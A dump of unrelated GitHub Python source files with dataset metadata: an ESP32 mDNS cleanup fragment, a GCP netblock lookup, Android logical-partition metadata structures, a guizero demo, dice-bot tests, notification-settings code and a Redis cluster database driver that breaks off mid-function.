cleanup...\nmds._server.close()\nslimDns.sock.close()\n","repo_name":"george-hawkins/esp32-remains","sub_path":"main-mdns.py","file_name":"main-mdns.py","file_ext":"py","file_size_in_byte":1769,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"5243373309","text":"import dns.resolver\r\n\r\nfrom .base_provider import BaseProvider\r\n\r\n'''\r\nI know this probably looks ridiculous. But it's literally what they expect people to do.\r\nhttps://cloud.google.com/compute/docs/faq#find_ip_range\r\n'''\r\n\r\nclass GCP(BaseProvider):\r\n\t\r\n\tdef __init__(self, excludeip6=False):\r\n\t\tself.seen_netblocks = set()\r\n\t\tself.seen_txt_records = set()\r\n\t\tself.source_ranges = self._get_ranges()\r\n\t\tself.processed_ranges = self._process_ranges(excludeip6)\r\n\r\n\tdef _parse_txt(self, txt):\r\n\t\trecord = {'includes': [], 'ip_ranges': []}\r\n\t\tfor entry in txt.split(' '):\r\n\t\t\tif entry.startswith('include') and ':' in entry:\r\n\t\t\t\trecord['includes'].append(entry.split(':')[1])\r\n\t\t\telif entry.startswith('ip4') and ':' in entry:\r\n\t\t\t\trecord['ip_ranges'].append(entry.split(':')[1])\r\n\t\treturn record\r\n\r\n\tdef _get_netblocks(self, query):\r\n\t\tif query in self.seen_txt_records:\r\n\t\t\treturn\r\n\t\tanswer = dns.resolver.query(query, 'TXT')\r\n\t\tanswers = [txt.to_text() for txt in answer]\r\n\t\tfor txt in answers:\r\n\t\t\trecord = self._parse_txt(txt)\r\n\t\tfor include in record['includes']:\r\n\t\t\tresults = self._get_netblocks(include)\r\n\t\tfor ip_range in record['ip_ranges']:\r\n\t\t\tif ip_range not in self.seen_netblocks:\r\n\t\t\t\tself.seen_netblocks.add(ip_range)\r\n\t\tself.seen_txt_records.add(query)\r\n\r\n\r\n\tdef _get_ranges(self):\r\n\t\tbase_txt_record = \"_cloud-netblocks.googleusercontent.com\"\r\n\t\tself._get_netblocks(base_txt_record)\r\n\t\treturn self.seen_netblocks\r\n\r\n\tdef _process_ranges(self, excludeip6=False):\r\n\t\theader_comments = [\r\n\t\t\tf\"(gcp) _cloud-netblocks count: {len(self.seen_txt_records)}\"\r\n\t\t]\r\n\t\tout_ranges = []\r\n\t\tfor item in self.source_ranges:\r\n\t\t\tout_item = {\"range\": item, \"comment\": \"ipv4 gcp ComputeEngine\"}\r\n\t\t\tout_ranges.append(out_item)\r\n\r\n\t\toutput = {\"header_comments\": header_comments, \"ranges\": out_ranges}\r\n\t\treturn output\r\n\r\n\t\t","repo_name":"sgnls/sephiroth","sub_path":"providers/gcp.py","file_name":"gcp.py","file_ext":"py","file_size_in_byte":1823,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"48"} +{"seq_id":"74741612625","text":"from ctypes import (\n\tStructure,\n\tc_char,\n\tc_uint8,\n\tc_uint16,\n\tc_uint32,\n\tc_uint64,\n)\n\n# Magic signature for LpMetadataGeometry.\nLP_METADATA_GEOMETRY_MAGIC = 0x616c4467\n\n# Space reserved for geometry information.\nLP_METADATA_GEOMETRY_SIZE = 4096\n\n# Magic signature for LpMetadataHeader.\nLP_METADATA_HEADER_MAGIC = 0x414C5030\n\n# Current metadata version.\nLP_METADATA_MAJOR_VERSION = 10\nLP_METADATA_MINOR_VERSION_MIN = 0\nLP_METADATA_MINOR_VERSION_MAX = 2\n\n# Metadata version needed to use the UPDATED partition attribute.\nLP_METADATA_VERSION_FOR_UPDATED_ATTR = 1\n\n# Metadata version needed for the new expanded header struct.\nLP_METADATA_VERSION_FOR_EXPANDED_HEADER = 2\n\n\"\"\"\nAttributes for the LpMetadataPartition::attributes field.\n\nREADONLY - The partition should not be considered writable. When used with\ndevice mapper, the block device will be created as read-only.\n\"\"\"\nLP_PARTITION_ATTR_NONE = 0x0\nLP_PARTITION_ATTR_READONLY = (1 << 0)\n\n\"\"\"\nThis flag is only intended to be used with super_empty.img and super.img on\nretrofit devices. On these devices there are A and B super partitions, and\nwe don't know ahead of time which slot the image will be applied to.\n\nIf set, the partition name needs a slot suffix applied. The slot suffix is\ndetermined by the metadata slot number (0 = _a, 1 = _b).\n\"\"\"\nLP_PARTITION_ATTR_SLOT_SUFFIXED = (1 << 1)\n\n\"\"\"\nThis flag is applied automatically when using MetadataBuilder::NewForUpdate.\nIt signals that the partition was created (or modified) for a snapshot-based\nupdate. If this flag is not present, the partition was likely flashed via\nfastboot.\n\"\"\"\nLP_PARTITION_ATTR_UPDATED = (1 << 2)\n\n# This flag marks a partition as disabled. It should not be used or mapped.\nLP_PARTITION_ATTR_DISABLED = (1 << 3)\n\n\"\"\"\nMask that defines all valid attributes. When changing this, make sure to\nupdate ParseMetadata().\n\"\"\"\nLP_PARTITION_ATTRIBUTE_MASK_V0 = \\\n\t(LP_PARTITION_ATTR_READONLY | LP_PARTITION_ATTR_SLOT_SUFFIXED)\nLP_PARTITION_ATTRIBUTE_MASK_V1 = (LP_PARTITION_ATTR_UPDATED | LP_PARTITION_ATTR_DISABLED)\nLP_PARTITION_ATTRIBUTE_MASK = \\\n\t(LP_PARTITION_ATTRIBUTE_MASK_V0 | LP_PARTITION_ATTRIBUTE_MASK_V1)\n\n\"\"\"\nDefault name of the physical partition that holds logical partition entries.\nThe layout of this partition will look like:\n\n\t+--------------------+\n\t| Disk Geometry |\n\t+--------------------+\n\t| Geometry Backup |\n\t+--------------------+\n\t| Metadata |\n\t+--------------------+\n\t| Backup Metadata |\n\t+--------------------+\n\t| Logical Partitions |\n\t+--------------------+\n\"\"\"\nLP_METADATA_DEFAULT_PARTITION_NAME = \"super\"\n\n# Size of a sector is always 512 bytes for compatibility with the Linux kernel.\nLP_SECTOR_SIZE = 512\n\n\"\"\"\nAmount of space reserved at the start of every super partition to avoid\ncreating an accidental boot sector.\n\"\"\"\nLP_PARTITION_RESERVED_BYTES = 4096\n\n\"\"\"\nThis structure is stored at block 0 in the first 4096 bytes of the\npartition, and again in the following block. It is never modified and\ndescribes how logical partition information can be located.\n\"\"\"\nclass LpMetadataGeometry(Structure):\n\t_fields_ = [\n\t\t# 0: Magic signature (LP_METADATA_GEOMETRY_MAGIC).\n\t\t(\"magic\", c_uint32),\n\n\t\t# 4: Size of the LpMetadataGeometry struct.\n\t\t(\"struct_size\", c_uint32),\n\n\t\t# 8: SHA256 checksum of this struct, with this field set to 0.\n\t\t(\"checksum\", c_uint8 * 32),\n\n\t\t# 40: Maximum amount of space a single copy of the metadata can use. This\n\t\t# must be a multiple of LP_SECTOR_SIZE.\n\t\t(\"metadata_max_size\", c_uint32),\n\n\t\t# 44: Number of copies of the metadata to keep. For A/B devices, this\n\t\t# will be 2. For an A/B/C device, it would be 3, et cetera. For Non-A/B\n\t\t# it will be 1. A backup copy of each slot is kept, so if this is \"2\",\n\t\t# there will be four copies total.\n\t\t(\"metadata_slot_count\", c_uint32),\n\n\t\t# 48: Logical block size. This is the minimal alignment for partition and\n\t\t# extent sizes, and it must be a multiple of LP_SECTOR_SIZE. Note that\n \t\t# this must be equal across all LUNs that comprise the super partition,\n \t\t# and thus this field is stored in the geometry, not per-device.\n\t\t(\"logical_block_size\", c_uint32),\n\t]\n\t_pack_ = 1\n\n\"\"\"\nThe logical partition metadata has a number of tables; they are described\nin the header via the following structure.\n\nThe size of the table can be computed by multiplying entry_size by\nnum_entries, and the result must not overflow a 32-bit signed integer.\n\"\"\"\nclass LpMetadataTableDescriptor(Structure):\n\t_fields_ = [\n\t\t# 0: Location of the table, relative to end of the metadata header.\n\t\t(\"offset\", c_uint32),\n\t\t# 4: Number of entries in the table.\n\t\t(\"num_entries\", c_uint32),\n\t\t# 8: Size of each entry in the table, in bytes.\n\t\t(\"entry_size\", c_uint32),\n\t]\n\t_pack_ = 1\n\n\"\"\"\nBinary format for the header of the logical partition metadata format.\n\nThe format has three sections. The header must occur first, and the\nproceeding tables may be placed in any order after.\n\n +-----------------------------------------+\n | Header data - fixed size |\n +-----------------------------------------+\n | Partition table - variable size |\n +-----------------------------------------+\n | Partition table extents - variable size |\n +-----------------------------------------+\n\nThe \"Header\" portion is described by LpMetadataHeader. It will always\nprecede the other three blocks.\n\nAll fields are stored in little-endian byte order when serialized.\n\nThis struct is versioned; see the |major_version| and |minor_version|\nfields.\n\"\"\"\nclass LpMetadataHeader(Structure):\n\t_fields_ = [\n\t\t# 0: Four bytes equal to LP_METADATA_HEADER_MAGIC.\n\t\t(\"magic\", c_uint32),\n\n\t\t# 4: Version number required to read this metadata. If the version is not\n\t\t# equal to the library version, the metadata should be considered\n\t\t# incompatible.\n\t\t(\"major_version\", c_uint16),\n\n\t\t# 6: Minor version. A library supporting newer features should be able to\n\t\t# read metadata with an older minor version. However, an older library\n\t\t# should not support reading metadata if its minor version is higher.\n\t\t(\"minor_version\", c_uint16),\n\n\t\t# 8: The size of this header struct.\n\t\t(\"header_size\", c_uint32),\n\n\t\t# 12: SHA256 checksum of the header, up to |header_size| bytes, computed as\n \t# if this field were set to 0.\n\t\t(\"header_checksum\", c_uint8 * 32),\n\n\t\t# 44: The total size of all tables. This size is contiguous; tables may not\n \t# have gaps in between, and they immediately follow the header.\n\t\t(\"tables_size\", c_uint32),\n\n\t\t# 48: SHA256 checksum of all table contents.\n\t\t(\"tables_checksum\", c_uint8 * 32),\n\n\t\t# 80: Partition table descriptor.\n\t\t(\"partitions\", LpMetadataTableDescriptor),\n\t\t# 92: Extent table descriptor.\n\t\t(\"extents\", LpMetadataTableDescriptor),\n\t\t# 104: Updateable group descriptor.\n\t\t(\"groups\", LpMetadataTableDescriptor),\n\t\t# 116: Block device table.\n\t\t(\"block_devices\", LpMetadataTableDescriptor),\n\n\t\t# Everything past here is header version 1.2+, and is only included if\n\t\t# needed. When liblp supporting >= 1.2 reads a < 1.2 header, it must\n\t\t# zero these additional fields.\n\n\t\t# See LP_HEADER_FLAG_ constants for possible values. Header flags are\n\t\t# independent of the version number and intended to be informational only.\n\t\t# New flags can be added without bumping the version.\n\t\t(\"flags\", c_uint32),\n\n\t\t# 132: Reserved (zero), pad to 256 bytes.\n\t\t(\"reserved\", c_uint8 * 124),\n\t]\n\t_pack_ = 1\n\n\"\"\"\nThis device uses Virtual A/B. Note that on retrofit devices, the expanded\nheader may not be present.\n\"\"\"\nLP_HEADER_FLAG_VIRTUAL_AB_DEVICE = 0x1\n\n\"\"\"\nThis struct defines a logical partition entry, similar to what would be\npresent in a GUID Partition Table.\n\"\"\"\nclass LpMetadataPartition(Structure):\n\t_fields_ = [\n\t\t# 0: Name of this partition in ASCII characters. Any unused characters in\n\t\t# the buffer must be set to 0. Characters may only be alphanumeric or _.\n\t\t# The name must include at least one ASCII character, and it must be unique\n\t\t# across all partition names. The length (36) is the same as the maximum\n\t\t# length of a GPT partition name.\n\t\t(\"name\", c_char * 36),\n\n\t\t# 36: Attributes for the partition (see LP_PARTITION_ATTR_* flags above).\n\t\t(\"attributes\", c_uint32),\n\n\t\t# 40: Index of the first extent owned by this partition. The extent will\n \t# start at logical sector 0. Gaps between extents are not allowed.\n\t\t(\"first_extent_index\", c_uint32),\n\n\t\t# 44: Number of extents in the partition. Every partition must have at\n \t# least one extent.\n\t\t(\"num_extents\", c_uint32),\n\n\t\t# 48: Group this partition belongs to.\n\t\t(\"group_index\", c_uint32),\n\t]\n\t_pack_ = 1\n\n\"\"\"\nThis extent is a dm-linear target, and the index is an index into the\nLinearExtent table.\n\"\"\"\nLP_TARGET_TYPE_LINEAR = 0\n\n# This extent is a dm-zero target. The index is ignored and must be 0.\nLP_TARGET_TYPE_ZERO = 1\n\n# This struct defines an extent entry in the extent table block.\nclass LpMetadataExtent(Structure):\n\t_fields_ = [\n\t\t# 0: Length of this extent, in 512-byte sectors.\n\t\t(\"num_sectors\", c_uint64),\n\n\t\t# 8: Target type for device-mapper (see LP_TARGET_TYPE_* values).\n\t\t(\"target_type\", c_uint32),\n\n\t\t# 12: Contents depends on target_type.\n\t\t#\n\t\t# LINEAR: The sector on the physical partition that this extent maps onto.\n\t\t# ZERO: This field must be 0.\n\t\t(\"target_data\", c_uint64),\n\n\t\t# 20: Contents depends on target_type.\n\t\t#\n\t\t# LINEAR: Must be an index into the block devices table.\n\t\t# ZERO: This field must be 0.\n\t\t(\"target_source\", c_uint32),\n\t]\n\t_pack_ = 1\n\n\"\"\"\nThis struct defines an entry in the groups table. Each group has a maximum\nsize, and partitions in a group must not exceed that size. There is always\na \"default\" group of unlimited size, which is used when not using update\ngroups or when using overlayfs or fastbootd.\n\"\"\"\nclass LpMetadataPartitionGroup(Structure):\n\t_fields_ = [\n\t\t# 0: Name of this group. Any unused characters must be 0.\n\t\t(\"name\", c_char * 36),\n\n\t\t# 36: Flags (see LP_GROUP_*).\n\t\t(\"flags\", c_uint32),\n\n\t\t# 40: Maximum size in bytes. If 0, the group has no maximum size.\n\t\t(\"maximum_size\", c_uint64),\n\t]\n\t_pack_ = 1\n\n\"\"\"\nThis flag is only intended to be used with super_empty.img and super.img on\nretrofit devices. If set, the group needs a slot suffix to be interpreted\ncorrectly. The suffix is automatically applied by ReadMetadata().\n\"\"\"\nLP_GROUP_SLOT_SUFFIXED = (1 << 0)\n\n\"\"\"\nThis struct defines an entry in the block_devices table. There must be at\nleast one device, and the first device must represent the partition holding\nthe super metadata.\n\"\"\"\nclass LpMetadataBlockDevice(Structure):\n\t_fields_ = [\n\t\t# 0: First usable sector for allocating logical partitions. this will be\n\t\t# the first sector after the initial geometry blocks, followed by the\n\t\t# space consumed by metadata_max_size*metadata_slot_count*2.\n\t\t(\"first_logical_sector\", c_uint64),\n\n\t\t# 8: Alignment for defining partitions or partition extents. For example,\n\t\t# an alignment of 1MiB will require that all partitions have a size evenly\n\t\t# divisible by 1MiB, and that the smallest unit the partition can grow by\n\t\t# is 1MiB.\n\t\t#\n\t\t# Alignment is normally determined at runtime when growing or adding\n\t\t# partitions. If for some reason the alignment cannot be determined, then\n\t\t# this predefined alignment in the geometry is used instead. By default\n\t\t# it is set to 1MiB.\n\t\t(\"alignment\", c_uint32),\n\n\t\t# 12: Alignment offset for \"stacked\" devices. For example, if the \"super\"\n\t\t# partition itself is not aligned within the parent block device's\n\t\t# partition table, then we adjust for this in deciding where to place\n\t\t# |first_logical_sector|.\n\t\t#\n\t\t# Similar to |alignment|, this will be derived from the operating system.\n\t\t# If it cannot be determined, it is assumed to be 0.\n\t\t(\"alignment_offset\", c_uint32),\n\n\t\t# 16: Block device size, as specified when the metadata was created. This\n\t\t# can be used to verify the geometry against a target device.\n\t\t(\"size\", c_uint64),\n\n\t\t# 24: Partition name in the GPT. Any unused characters must be 0.\n\t\t(\"partition_name\", c_char * 36),\n\n\t\t# 60: Flags (see LP_BLOCK_DEVICE_* flags below).\n\t\t(\"flags\", c_uint32),\n\t]\n\t_pack_ = 1\n\n\"\"\"\nThis flag is only intended to be used with super_empty.img and super.img on\nretrofit devices. On these devices there are A and B super partitions, and\nwe don't know ahead of time which slot the image will be applied to.\n\nIf set, the block device needs a slot suffix applied before being used with\nIPartitionOpener. The slot suffix is determined by the metadata slot number\n(0 = _a, 1 = _b).\n\"\"\"\nLP_BLOCK_DEVICE_SLOT_SUFFIXED = (1 << 0)\n\n\"\"\"\nFor ease of writing compatibility checks, the original metadata header is\npreserved below, and typedefs are provided for the current version.\n\"\"\"\nclass LpMetadataHeaderV1_0(Structure):\n\t_fields_ = [\n\t\t(\"magic\", c_uint32),\n\t\t(\"major_version\", c_uint16),\n\t\t(\"minor_version\", c_uint16),\n\t\t(\"header_size\", c_uint32),\n\t\t(\"header_checksum\", c_uint8 * 32),\n\t\t(\"tables_size\", c_uint32),\n\t\t(\"tables_checksum\", c_uint8 * 32),\n\t\t(\"partitions\", LpMetadataTableDescriptor),\n\t\t(\"extents\", LpMetadataTableDescriptor),\n\t\t(\"groups\", LpMetadataTableDescriptor),\n\t\t(\"block_devices\", LpMetadataTableDescriptor),\n\t]\n\t_pack_ = 1\n\nLpMetadataHeaderV1_2 = LpMetadataHeader\n","repo_name":"sebaubuntu-python/liblp","sub_path":"liblp/include/metadata_format.py","file_name":"metadata_format.py","file_ext":"py","file_size_in_byte":13125,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"48"} +{"seq_id":"38730664199","text":"from guizero import App, PushButton\n\n\ndef are_you_sure():\n if app.yesno(\"title = Confirmation!\", text = \"Are you sure?\"):\n app.info(title = \"Thanks!\", text = \"Thanks, For confirming\")\n else:\n app.error(title = \"Error Occured...\", text = \"You have to confirm to our policies\")\n\n\napp = App(title = \"Pop up magic\")\nbutton = PushButton(master = app, command = are_you_sure)\n\napp.display()","repo_name":"Viddesh1/gui","sub_path":"eight.py","file_name":"eight.py","file_ext":"py","file_size_in_byte":404,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"14261544655","text":"import pytest\n\nfrom yogsobot.run import roll, save\nfrom database.test_transactions import db\n\n\nroll_history = {} # wanted side effect of roll\n\n\nclass ContextMock:\n def __init__(self) -> None:\n self.channel = ChannelMock()\n self.author = AuthorMock()\n \n\nclass AuthorMock:\n def __init__(self) -> None:\n self.display_name = \"Jerek\"\n self.id = \"123456789\"\n\n\nclass ChannelMock:\n def __init__(self) -> None:\n self.recieved = None\n\n async def send(self, msg):\n self.recieved = msg\n\n\n@pytest.mark.asyncio\nasync def test_bad_roll_give_error_message_and_leaves_rest_empty():\n ctx = ContextMock()\n await roll(ctx, \"lala\") # type: ignore\n assert str(ctx.channel.recieved) == \"Must be of form d.\" # type: ignore\n","repo_name":"roan-paulus/yogsobot","sub_path":"tests/test_commands.py","file_name":"test_commands.py","file_ext":"py","file_size_in_byte":793,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"37421718349","text":"import jsons\nfrom typing import List\nfrom loguru import logger\n\nfrom app.utils.notifications.user_preferences import \\\n NotificationChannelOverride, filter_ids_of_notification_settings_user_can_see, \\\n CONNECTION_DB_MODELS_TYPES, mail_add\n\n\nimport app.utils.db.advanced as db_utils_advanced\nimport app.db_schemas as db_schemas\nimport app.db_models as db_models\n\n\ndef additional_channel_email_actions(email_pref: dict, user_id: int) -> bool:\n ADD_NEW_EMAILS_FIELD = \"add_new_emails\"\n\n emails_to_be_added = getattr(email_pref, ADD_NEW_EMAILS_FIELD, None)\n if emails_to_be_added:\n try:\n new_mails_or_exception_msg, status_code = mail_add(user_id, emails_to_be_added)\n if status_code != 200:\n raise Exception(new_mails_or_exception_msg)\n delattr(email_pref, ADD_NEW_EMAILS_FIELD)\n\n new_emails_ids_to_force_enable = [x.id for x in new_mails_or_exception_msg]\n email_pref.force_enabled_ids.extend(new_emails_ids_to_force_enable)\n except Exception as e:\n logger.error(f\"NT0001 Error adding new emails for target: {e}\")\n return False\n\n return True\n\n\ndef set_notification_settings_raw_single_target(user_id: int, target_id: int, notifications: dict):\n return set_notification_settings_raw_multiple_target_ids(user_id, [target_id], notifications)\n\n\ndef set_notification_settings_raw_multiple_target_ids(user_id: int, target_ids: List[int], notifications: dict):\n NOTIFICATION_CHANNELS = CONNECTION_DB_MODELS_TYPES.keys()\n\n new_notification_settings = {}\n\n for single_channel in NOTIFICATION_CHANNELS:\n if notifications.get(single_channel) is None:\n continue\n new_notification_settings[single_channel] = jsons.load(notifications.get(single_channel),\n NotificationChannelOverride)\n\n if single_channel == \"email\":\n additional_channel_email_actions(new_notification_settings[single_channel], user_id)\n\n for single_channel in NOTIFICATION_CHANNELS:\n settings_current_channel = new_notification_settings[single_channel]\n settings_current_channel.force_enabled_ids = \\\n filter_ids_of_notification_settings_user_can_see(\n user_id, single_channel, settings_current_channel.force_enabled_ids)\n settings_current_channel.force_disabled_ids = \\\n filter_ids_of_notification_settings_user_can_see(\n user_id, single_channel, settings_current_channel.force_disabled_ids)\n\n if jsons.dumps(settings_current_channel) == jsons.dumps(NotificationChannelOverride()):\n del new_notification_settings[single_channel]\n\n new_notification_settings_json_str = jsons.dumps(new_notification_settings)\n\n if len(new_notification_settings):\n for target_id in target_ids:\n notifications_override: db_models.ConnectionStatusOverrides = \\\n db_utils_advanced.generic_get_create_edit_from_data(\n db_schemas.ConnectionStatusOverridesSchema,\n {\"target_id\": target_id, \"user_id\": user_id})\n notifications_override.preferences = new_notification_settings_json_str\n db_models.db.session.commit()\n\n return True\n","repo_name":"TLSInventory/backend","sub_path":"app/utils/notifications/actions.py","file_name":"actions.py","file_ext":"py","file_size_in_byte":3288,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"48"} +{"seq_id":"18789223454","text":"# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n\nimport crc16\nfrom oslo_log import log\nimport re\nfrom redis import client as redis_client\nfrom redis import exceptions\nimport six\n\nfrom dragonflow.common import exceptions as df_exceptions\nfrom dragonflow import conf as cfg\nfrom dragonflow.db import db_api\nfrom dragonflow.db import db_common\n\nLOG = log.getLogger(__name__)\n\nREDIS_NSLOTS = 16384\n\n\ndef key2slot(key):\n k = six.text_type(key)\n start = k.find('{')\n if start > -1:\n end = k.find('}', start + 1)\n if end > -1 and end != start + 1:\n k = k[start + 1:end]\n return crc16.crc16xmodem(k.encode('utf-8')) % REDIS_NSLOTS\n\n\nclass Node(object):\n def __init__(self, ip, port, node_id=None):\n self.ip = ip\n self.port = port\n self.node_id = node_id\n self._client = None\n\n @property\n def client(self):\n if self._client is None:\n decode = not six.PY2\n self._client = redis_client.StrictRedis(host=self.ip,\n port=self.port,\n decode_responses=decode)\n return self._client\n\n @property\n def key(self):\n return (self.ip, self.port)\n\n\nclass Cluster(object):\n def __init__(self, nodes):\n self._is_cluster = True\n self._configured_nodes = (Node(*node) for node in nodes)\n self._nodes_by_host = {}\n self._nodes_by_slot = [None] * REDIS_NSLOTS\n self._covered = False\n\n def get_node(self, key):\n if self._is_cluster:\n return self._nodes_by_slot[key2slot(key)]\n else:\n return self._nodes_by_host\n\n def get_node_by_host(self, ip, port):\n if self._is_cluster:\n return self._nodes_by_host[(ip, port)]\n else:\n return self._nodes_by_host\n\n def is_cluster_covered(self):\n try:\n self._nodes_by_slot.index(None)\n except ValueError:\n return True\n else:\n return False\n\n def populate_cluster(self):\n for node in self._configured_nodes:\n client = node.client\n try:\n slots = client.execute_command('CLUSTER', 'SLOTS')\n except exceptions.ConnectionError:\n LOG.exception('Error connecting to cluster node %s:%s',\n node.ip, node.port)\n continue\n except exceptions.ResponseError as e:\n if str(e).find('cluster support disabled') != -1:\n LOG.info('Using a single non-cluster node %s:%s',\n node.ip, node.port)\n self._nodes_by_host = node\n self._is_cluster = False\n return\n LOG.exception('Response error from node %s:%s')\n continue\n self._is_cluster = True\n for slot_info in slots:\n (range_begin, range_end, master_info) = slot_info[0:3]\n master = Node(*master_info)\n self._nodes_by_host[master.key] = master\n for slot in range(int(range_begin), int(range_end) + 1):\n self._nodes_by_slot[slot] = master\n if self.is_cluster_covered():\n self._covered = True\n break\n if not self._covered:\n LOG.error('Redis cluster not covering slot space')\n for node in self._nodes_by_host.values():\n LOG.info('Cluster node: %s:%s', node.ip, node.port)\n\n @property\n def nodes(self):\n if self._is_cluster:\n return self._nodes_by_host.values()\n else:\n return (self._nodes_by_host, )\n\n\nclass RedisDbDriver(db_api.DbApi):\n def __init__(self, *args, **kwargs):\n super(RedisDbDriver, self).__init__(*args, **kwargs)\n self._table_strip_re = re.compile('^{.+}(.+)$')\n self.config = cfg.CONF.df_redis\n self.BATCH_KEY_AMOUNT = self.config.batch_amount\n self.RETRY_COUNT = self.config.retries\n\n def initialize(self, db_ip, db_port, **args):\n nodes = self._config_to_nodes(args['config'].remote_db_hosts)\n self._cluster = Cluster(nodes)\n self._cluster.populate_cluster()\n\n @staticmethod\n def _config_to_nodes(hosts_list):\n def host_to_node(host):\n (ip, port) = host.split(':')\n return (ip, int(port))\n\n return map(host_to_node, hosts_list)\n\n @staticmethod\n def _key_name(table, topic, key):\n return '{%s.%s}%s' % (table, topic or '', key)\n\n def _key_command(self, command, key, *args):\n node = self._cluster.get_node(key)\n ask = False\n retry = 0\n command_pcs = [command, key]\n command_pcs.extend(args)\n while retry < self.RETRY_COUNT:\n LOG.debug('Executing command \"%s\" (retry %s)', command_pcs, retry)\n if node is None:\n LOG.error('Error finding node for key %s in cluster', key)\n self._cluster.populate_cluster()\n try:\n if ask:\n node.client.execute_command('ASKING')\n ask = False\n return node.client.execute_command(*command_pcs)\n except exceptions.ResponseError as e:\n (reason, slot, ip_port) = str(e).split(' ')\n (ip, port) = ip_port.split(':')\n if reason == 'MOVED':\n self._cluster.populate_cluster()\n node = self._cluster.get_node(key)\n if reason == 'ASK':\n node = self._cluster.get_node_by_host(ip, port)\n ask = True\n except exceptions.ConnectionError as e:\n LOG.exception('Connection to node %s:%s failed, refreshing',\n node.ip, node.port)\n self._cluster.populate_cluster()\n node = self._cluster.get_node(key)\n retry += 1\n\n raise df_exceptions.DBKeyNotFound(key=key)\n\n def create_table(self, table):\n pass\n\n def delete_table(self, table):\n self._bulk_operation(table, None, 'DEL')\n\n def _get_key_topic(self, table, key, topic):\n real_key = self._key_name(table, topic, key)\n value = self._key_command('GET', real_key)\n if value is None:\n raise df_exceptions.DBKeyNotFound(key=key)\n return value\n\n def _get_key_notopic(self, table, key):\n result = []\n\n def add_key(k, v):\n result.append(v)\n\n self._bulk_operation(table, None, 'GET', key_pattern=key,\n entry_cb=add_key)\n n_keys = len(result)\n if n_keys != 1:\n LOG.error('Found %d entries with key \"%s\"', n_keys, key)\n raise df_exceptions.DBKeyNotFound(key=key)\n\n return result[0]\n\n def get_key(self, table, key, topic=None):\n if topic is None:\n return self._get_key_notopic(table, key)\n else:\n return self._get_key_topic(table, key, topic)\n\n def set_key(self, table, key, value, topic=None):\n if topic is None:\n real_key = self._key_name_infer_topic(table, key)\n else:\n real_key = self._key_name(table, topic, key)\n self._key_command('SET', real_key, value)\n\n def create_key(self, table, key, value, topic=None):\n real_key = self._key_name(table, topic, key)\n self._key_command('SET', real_key, value)\n\n def delete_key(self, table, key, topic=None):\n if topic is None:\n real_key = self._key_name_infer_topic(table, key)\n else:\n real_key = self._key_name(table, topic, key)\n self._key_command('DEL', real_key)\n\n def _bulk_execute(self, node, keys, command, args=()):\n pipeline = node.client.pipeline(transaction=False)\n retry = 0\n command_pcs = [command, None]\n command_pcs.extend(args)\n while retry < self.RETRY_COUNT:\n for key in keys:\n command_pcs[1] = key\n pipeline.execute_command(*command_pcs)\n try:\n values = pipeline.execute(raise_on_error=False)\n return zip(keys, values)\n except exceptions.RedisError:\n LOG.exception('Error executing pipeline at retry %d', retry)\n retry += 1\n return False\n\n def _bulk_operation(self, table, topic, command, args=(), key_pattern=None,\n entry_cb=None, stop_on_fail=False):\n def is_error(value):\n return isinstance(value, exceptions.RedisError)\n\n (pattern, nodes) = self._query_info(table, topic, key_pattern)\n success = True\n batch_key_amount = self.BATCH_KEY_AMOUNT\n LOG.debug('Performing bulk operation \"%s\" on table %s topic %s',\n command, table, topic or 'None')\n for node in nodes:\n node_failed_keys = set()\n retry = 0\n while retry < self.RETRY_COUNT:\n try:\n node_keys = list(self._get_all_keys_from_node(node,\n pattern))\n break\n except exceptions.RedisError:\n LOG.exception('Error get keys from node %s:%s retry %d',\n node.ip, node.port, retry)\n retry += 1\n LOG.debug('Node %s:%s has %d keys for table %s topic %s',\n node.ip, node.port, len(node_keys), table,\n topic or 'None')\n if retry == self.RETRY_COUNT:\n raise df_exceptions.DBKeyNotFound('ALL KEYS')\n bulk_begin = 0\n bulk_end = batch_key_amount\n while bulk_begin < len(node_keys):\n LOG.debug('Working on chunk %d:%d', bulk_begin, bulk_end)\n result = self._bulk_execute(\n node, node_keys[bulk_begin:bulk_end], command, args)\n if result is False:\n LOG.error('Error executing bulk operation on node %s:%s',\n node.ip, node.port)\n if stop_on_fail:\n return False\n else:\n continue\n for (k, v) in result:\n if is_error(v):\n LOG.warning('Bulk operation error node %s:%s key \"%s\"',\n node.ip, node.port, k)\n if stop_on_fail:\n return False\n node_failed_keys.update(k)\n elif v is not None and callable(entry_cb):\n entry_cb(k, v)\n bulk_begin += batch_key_amount\n bulk_end += batch_key_amount\n\n for key in node_failed_keys:\n try:\n value = self._key_command(command, key, args)\n except Exception:\n LOG.warning('Failed to process key \"%s\" from node %s:%s',\n key, node.ip, node.port)\n if stop_on_fail:\n return False\n success = False\n else:\n if callable(entry_cb):\n entry_cb(key, value)\n return success\n\n def get_all_entries(self, table, topic=None):\n def add_to_entries(key, value):\n entries[key] = value\n\n entries = {}\n self._bulk_operation(table, topic, 'GET', entry_cb=add_to_entries)\n LOG.debug('found %d entries', len(entries))\n return list(entries.values())\n\n def _get_all_keys_from_node(self, node, pattern):\n keys = set()\n cursor = 0\n while True:\n (cursor, partial_keys) = node.client.scan(cursor, match=pattern)\n keys.update(partial_keys)\n if cursor == 0:\n break\n return keys\n\n def _query_info(self, table, topic, key=None):\n if topic is None:\n # ask all nodes\n pattern = self._key_name(table, '*', key or '*')\n nodes = self._cluster.nodes\n else:\n # ask a specific node\n pattern = self._key_name(table, topic, key or '*')\n nodes = (self._cluster.get_node(pattern), )\n return pattern, nodes\n\n def _scan(self, table, key=None, topic=None):\n (pattern, nodes) = self._query_info(table, topic, key)\n keys = set()\n\n for node in nodes:\n retry = 0\n while retry < 